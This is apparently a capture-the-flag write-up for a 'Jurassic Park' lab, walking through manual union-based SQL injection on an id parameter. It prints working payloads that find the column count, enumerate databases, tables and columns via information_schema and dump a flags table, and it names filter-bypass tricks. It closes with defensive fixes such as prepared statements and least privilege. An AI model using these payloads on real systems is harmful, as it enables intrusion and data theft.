Jurassic Park
id parameter is injectable. The challenge is
manual union-based SQL injection (no sqlmap) — enumerate the databases and tables,
bypass the input filtering, and extract the flags hidden across multiple databases.
01Find the injection point
Browsing a dinosaur sets ?id=. The value is reflected into a SQL query and unsanitised — classic union-based SQLi. First find the column count, then a reflected column to print data into:
?id=1 order by 5-- - -- find column count
?id=0 union select 1,2,3,4,5-- - -- identify the reflected column(s)02Enumerate the database
-- current db + version
?id=0 union select 1,database(),version(),4,5-- -
-- databases
?id=0 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata-- -
-- tables in a target db
?id=0 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='park'-- -
-- columns
?id=0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'-- -03Extract the flags
The flags live in tables across more than one database — walk each schema and dump the relevant columns. Where the app filters certain characters/keywords, bypass with case-mixing, comments, or hex-encoded strings.
?id=0 union select 1,group_concat(flag),3,4,5 from park.flags-- -04Takeaways
- Parameterise every query — string-concatenated SQL with user input is the root cause.
- Blacklist filtering is not a fix — case-mixing, comments and encoding bypass it; use prepared statements + allow-lists.
- Doing it by hand (no sqlmap) builds real understanding of UNION injection and
information_schema.
◆If this were my environment
The application trusted user input inside database queries and exposed more data than the page required. I would fix the query layer, reduce database privileges and verify the whole application against a repeatable standard.
- Use prepared statements with bound parameters for every query; never build SQL by concatenating request data.
- Give the application a dedicated database account with only the required tables and actions, and keep the database off public interfaces.
- Return generic errors to clients while preserving structured server-side audit logs and alerting on injection patterns.
- Add SAST, dependency scanning and security tests mapped to OWASP ASVS in the release pipeline.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.